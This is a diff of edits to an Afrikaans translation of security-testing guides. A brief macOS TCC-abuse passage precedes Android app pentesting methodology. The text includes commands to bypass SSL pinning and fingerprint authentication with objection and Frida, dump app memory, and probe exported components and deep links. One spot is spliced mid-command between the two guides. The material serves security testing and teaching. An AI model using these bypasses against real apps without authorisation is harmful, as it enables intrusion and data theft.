verkry:
> [!CAUTION] -> Let daarop dat omdat die **Automator** app die TCC-toestemming **`kTCCServiceAppleEvents`** het, dit **enige app** kan **beheer**, soos Finder. So om die toestemming te hĂȘ om Automator te beheer, kan jy ook die **Finder** met 'n kode soos die een hieronder beheer: +> Let daarop dat omdat die **Automator** app die TCC-toestemming **`kTCCServiceAppleEvents`** het, dit **enige app** kan **beheer**, soos Finder. So deur die toestemming om Automator te beheer, kan jy ook die **Finder** met 'n kode soos die een hieronder beheer:
@@ -400,7 +400,7 @@ Die selfde gebeur met die **Script Editor app,** dit kan Finder beheer, maar met ### Outomatisering (SE) na sommige TCC -**Sisteemgebeurtenisse kan Folder Actions skep, en Folder actions kan toegang hĂȘ tot sommige TCC-gidse** (Bureaublad, Dokumente & Aflaaie), so 'n script soos die volgende kan gebruik word om hierdie gedrag te misbruik: +**Sisteemgebeurtenisse kan Folder Actions skep, en Folder actions kan toegang tot sommige TCC-mappe hĂȘ** (Bureaublad, Dokumente & Aflaaie), so 'n script soos die volgende kan gebruik word om hierdie gedrag te misbruik: ```bash # Create script to execute with the action cat > "/tmp/script.js" < [!NOTE] -> Begin met Android 4.4 (**API 17**), het die SD kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lĂȘers verkry. +> Begin met Android 4.4 (**API 17**), het die SD-kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lĂȘers verkry. **Sensitiewe data gestoor in duidelike teks** -- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml lĂȘers in die pad `/data/data//shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind. +- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml-lĂȘers in die pad `/data/data//shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind. - **Databasisse**: Android laat elke toepassing toe om maklik sqlite databasisse in die pad `/data/data//databases/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind. ### Gebroke TLS @@ -145,18 +145,18 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); **Swak Sleutelbestuurproses** -Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat hardgecodeer/voorspelbaar in die kode is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek. +Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek. **Gebruik van Onveilige en/of Verouderde Algoritmes** -Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat **brute-force** **bestand** is, met sout gebruik word. +Ontwikkelaars moet nie **verouderde algoritmes** gebruik om autorisasie **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word. ### Ander kontroles -- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswese vir aanvallers moeilik te maak. +- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswerk vir aanvallers moeilik te maak. - As die app sensitief is (soos bankapps), moet dit sy **eie kontroles uitvoer om te sien of die mobiele toestel ge-root is** en dienooreenkomstig optree. -- As die app sensitief is (soos bankapps), moet dit kyk of 'n **emulator** gebruik word. -- As die app sensitief is (soos bankapps), moet dit **sy eie integriteit nagaan voordat dit uitgevoer word** om te kyk of dit gewysig is. +- As die app sensitief is (soos bankapps), moet dit nagaan of 'n **emulator** gebruik word. +- As die app sensitief is (soos bankapps), moet dit **sy eie integriteit nagaan voordat dit uitgevoer** word om te kyk of dit gewysig is. - Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter kompilator/pakker/obfuskeerder gebruik is om die APK te bou. ### React Native Toepassing @@ -181,7 +181,7 @@ Volgens hierdie [**blogpos**](https://clearbluejar.github.io/posts/desuperpackin ### Geoutomatiseerde Statiese Kode Analise -Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat aan die hulpmiddel die **plekke** aandui waar die **invoer** deur die gebruiker **beheer** word), **sinks** (wat aan die hulpmiddel **gevaarlike** **plekke** aandui waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reĂ«ls**. Hierdie reĂ«ls dui die **kombinasie** van **bronne-sinks** aan wat 'n kwesbaarheid aandui. +Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat aan die hulpmiddel die **plekke** aandui waar die **invoer** deur die gebruiker **beheer** word), **sinkholes** (wat aan die hulpmiddel **gevaarlike** **plekke** aandui waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reĂ«ls**. Hierdie reĂ«ls dui die **kombinasie** van **bronne-sinkholes** aan wat 'n kwesbaarheid aandui. Met hierdie kennis, **sal mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**. @@ -189,7 +189,7 @@ Met hierdie kennis, **sal mariana-trench die kode hersien en moontlike kwesbaarh 'n Toepassing kan geheime (API-sleutels, wagwoorde, verborge URL's, subdomeine...) daarin bevat wat jy dalk kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik. -### Om Biometriese Outorisering te Omseil +### Om Biometriese Verifikasie te Omseil {{#ref}} bypass-biometric-authentication-android.md @@ -199,7 +199,7 @@ bypass-biometric-authentication-android.md - **Kode-uitvoering**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Stuur SMS's**: `sendTextMessage, sendMultipartTestMessage` -- **Inheemse funksies** wat as `native` verklaar is: `public native, System.loadLibrary, System.load` +- **Inheemse funksies** verklaar as `native`: `public native, System.loadLibrary, System.load` - [Lees dit om te leer **hoe om inheemse funksies om te keer**](reversing-native-libraries.md) ### **Ander truuks** @@ -220,11 +220,11 @@ content-protocol.md Jy kan 'n **gratis rekening** aanmeld by: [https://appetize.io/](https://appetize.io). Hierdie platform laat jou toe om **APK's op te laai** en **uit te voer**, so dit is nuttig om te sien hoe 'n apk optree. -Jy kan selfs **die logs van jou toepassing** op die web sien en deur **adb** aansluit. +Jy kan selfs **die logs van jou toepassing** op die web sien en deur **adb** verbind. ![](<../../images/image (831).png>) -Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik. +Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik. ### Plaaslike Dinamiese Analise @@ -237,7 +237,7 @@ Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** af te laai om potensiĂ«le foute te vermy._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiĂ«le foute te vermy._) - [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie). > [!NOTE] @@ -247,7 +247,7 @@ Om **google dienste** (soos AppStore) in Genymotion te installeer, moet jy op di ![](<../../images/image (277).png>) -Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM wil koppel vanaf 'n ander VM met die hulpmiddels). +Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die hulpmiddels gaan verbind). #### Gebruik 'n fisiese toestel @@ -266,25 +266,25 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r **Logging** -Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** is verkies vir sy gebruiksgemak en leesbaarheid. +Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid. > [!WARNING] -> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan hĂȘ**. So toepassings kan nie ander apps se logs toegang nie.\ +> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan verkry**. So toepassings kan nie ander apps se logs toegang nie.\ > Dit word steeds aanbeveel om **nie sensitiewe inligting te log nie**. **Kopie/Plak Buffer Kaping** -Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom. +Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is belangrik om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom. **Crash Logs** -As 'n toepassing **crash** en **logs** stoor, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk oorgedra moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word. +As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om logs op crashes te log, en as logs oor die netwerk oorgedra moet word, moet jy seker maak dat dit via 'n SSL-kanaal vir sekuriteit gestuur word. As pentester, **probeer om na hierdie logs te kyk**. -**Analytiese Data Gestuur Aan 3de Partye** +**Analitiese Data Gestuur Aan 3de Partye** -Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiĂ«le data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word. +Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiĂ«le data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en na enige sensitiewe inligting te kyk wat aan derdeparty dienste gestuur word. ### SQLite DB's @@ -293,11 +293,11 @@ Databasisse moet geleĂ« wees in `/data/data/the.package.name/databases` soos `/d As die databasis vertroulike inligting stoor en is **geĂ«nkripteer** maar jy kan die **wagwoord** binne die toepassing vind, is dit steeds 'n **kwesbaarheid**. -Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema `. +Enumerate die tabelle met `.tables` en enumerate die kolomme van die tabelle met `.schema `. ### Drozer (Eksploiteer Aktiwiteite, Inhoudverskaffers en Dienste) -Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geĂŻnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\ +Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geĂŻnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer. .\ Drozer is 'n nuttige hulpmiddel om **geĂ«ksporteerde aktiwiteite, geĂ«ksporteerde dienste en Inhoudverskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer. ### Eksploiteer geĂ«ksporteerde Aktiwiteite @@ -305,9 +305,9 @@ Drozer is 'n nuttige hulpmiddel om **geĂ«ksporteerde aktiwiteite, geĂ«ksporteerd [**Lees dit as jy wil verfris wat 'n Android Aktiwiteit is.**](android-applications-basics.md#launcher-activity-and-other-activities)\ Onthou ook dat die kode van 'n aktiwiteit begin in die **`onCreate`** metode. -**Outorisering omseiling** +**Autorisasie omseiling** -Wanneer 'n Aktiwiteit geĂ«ksporteer word, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geĂ«ksporteer** is, kan jy die **outorisering** meganismes **omseil** om toegang daartoe te verkry. +Wanneer 'n Aktiwiteit geĂ«ksporteer word, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geĂ«ksporteer** is, kan jy die **authentikasie** meganismes **omseil** om toegang daartoe te verkry. [**Leer hoe om geĂ«ksporteerde aktiwiteite met Drozer te eksploiteer.**](drozer-tutorial/index.html#activities) @@ -318,46 +318,46 @@ Jy kan ook 'n geĂ«ksporteerde aktiwiteit vanaf adb begin: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ou weergawes (API weergawes < 21). +**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ouer weergawes (API weergawes < 21). > [!NOTE] > Let daarop dat 'n magtiging omseiling nie altyd 'n kwesbaarheid is nie, dit sal afhang van hoe die omseiling werk en watter inligting blootgestel word. **Sensitiewe inligting lekkasie** -**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n uitgevoerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie. +**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geexporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie. #### Tapjacking -As tapjacking nie voorkom word nie, kan jy die uitgevoerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking). +As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking). ### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting [**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\ -Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees. +Content providers word basies gebruik om **data** te **deel**. As 'n app beskikbare content providers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees. -[**Leer hoe om Content Providers met Drozer te benut.**](drozer-tutorial/index.html#content-providers) +[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\ Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`. -'n Diens is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste uitvoer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreĂ«ls te omseil...\ -[**Leer hoe om Dienste met Drozer te benut.**](drozer-tutorial/index.html#services) +'n Service is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste exporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreĂ«ls te omseil...\ +[**Leer hoe om Services met Drozer te exploiteer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\ Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`. -'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\ -[**Leer hoe om Uitzendingontvangers met Drozer te benut.**](#exploiting-broadcast-receivers) +'n Broadcast receiver sal wag vir 'n tipe boodskap. Afhangende van hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\ +[**Leer hoe om Broadcast Receivers met Drozer te exploiteer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Jy kan 'n verklaarde **skema** met **adb** of 'n **blaaier** **oopmaak**: +Jy kan handmatig na deep links soek, met behulp van gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Jy kan 'n verklaarde **scheme** met **adb** of 'n **blaaier** **oopmaak**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` @@ -376,11 +376,11 @@ Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwitei **Sensitiewe inligting** -Elke keer as jy 'n diep skakel vind, moet jy seker maak dat dit **nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep skakel naboots en daardie data steel!** +Elke keer as jy 'n diep link vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep link naboots en daardie data steel!** **Parameters in pad** -Jy **moet ook kyk of enige diep skakel 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\ +Jy **moet ook kyk of enige diep link 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die pad as domeinnaam gebruik word), **rekening oorname** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF-token en die kwesbare eindpunt die korrekte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor](http://dphoeniixx.com/2020/12/13-2/). **Meer voorbeelde** @@ -390,12 +390,12 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk ' ### Vervoer Laag Inspeksie en Verifikasie Foute - **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge. -- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat dit moontlik maak vir aanvallers om die data te ontsleutel. -- **Lek van private inligting** is 'n risiko wanneer toepassings met veilige kanale autentiseer, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekookies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie. +- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel. +- **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekoekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie. #### Sertifikaat Verifikasie -Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geĂ«nkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, bied [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding. +Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geĂ«nkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) bied omvattende leiding. #### SSL Pinning @@ -403,9 +403,9 @@ SSL Pinning is 'n sekuriteitsmaatreĂ«l waar die toepassing die bediener se serti #### Verkeer Inspeksie -Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geĂ«nkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geĂ«nkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Toepassings wat **API-vlak 24 en hoĂ«r** teiken, vereis wysigings aan die Netwerk Sekuriteitskonfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geĂ«nkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteitskonfigurasie, [**verwys na hierdie tutorial**](make-apk-accept-ca-certificate.md). +Toepassings wat **API-vlak 24 en hoĂ«r** teiken, vereis wysigings aan die Netwerk Sekuriteit Konfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geĂ«nkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteit Konfigurasie, [**verwys na hierdie tutoriaal**](make-apk-accept-ca-certificate.md). #### Omseiling van SSL Pinning @@ -415,22 +415,22 @@ Wanneer SSL Pinning geĂŻmplementeer is, word dit noodsaaklik om dit te omseil om - Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik) -- As jy steeds dink dat daar enige verkeer is wat jy nie vasvang nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Soek na Algemene Web Kwesbaarhede -Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede is buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel. +Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede val buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel. ### Frida -[Frida](https://www.frida.re) is 'n dinamiese instrumentasie-gereedskapstel vir ontwikkelaars, omgekeerde ingenieurs, en sekuriteitsnavorsers.\ -**Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\ +[Frida](https://www.frida.re) is 'n dinamiese instrumentasie toolkit vir ontwikkelaars, omgekeerde ingenieurs, en sekuriteitsnavorsers.\ +**Jy kan lopende toepassings toegang verkry en metodes op tyd te hook om die gedrag te verander, waardes te verander, waardes uit te trek, verskillende kode te loop...**\ As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik. -- Leer hoe om Frida te gebruik: [**Frida tutorial**](frida-tutorial/index.html) +- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/index.html) - Sommige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection is wonderlik om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Jy kan 'n paar wonderlike Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Jy kan 'n paar wonderlike Frida skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (gereedskap [linjector](https://github.com/erfur/linjector-rs)) ### **Dump Geheue - Fridump** @@ -446,7 +446,7 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep. +Dit sal die geheue in die ./dump gids dump, en daarin kan jy grep met iets soos: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` @@ -462,13 +462,13 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Vingerafdruk/Biometriese Omseiling** -Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te omseil wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:** +Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te **omseil** wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Agtergrond Beelde** -Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin laai die beeld voordat die app, sodat dit lyk asof die app vinniger gelaai is. +Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin om die beeld te laai 